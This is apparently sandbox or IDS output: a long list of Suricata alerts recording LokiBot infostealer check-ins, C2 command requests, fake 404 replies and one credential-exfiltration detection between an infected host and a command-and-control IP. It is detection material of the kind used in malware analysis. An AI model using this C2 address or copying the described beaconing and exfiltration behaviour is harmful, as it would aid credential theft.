Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49198
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49209
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49215
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49186
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49207
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49202
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49199
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49205
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49214
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49212
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49189
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49213
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49195
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49192
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49194
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49196
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49216
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49226
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49222
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49244
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49183
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49256 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49256 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49256 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49256 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49256 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49182
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49256
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49247 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49221
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49247
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49255 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49255 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49255 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49220
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49210 -> 94.156.177.220:80
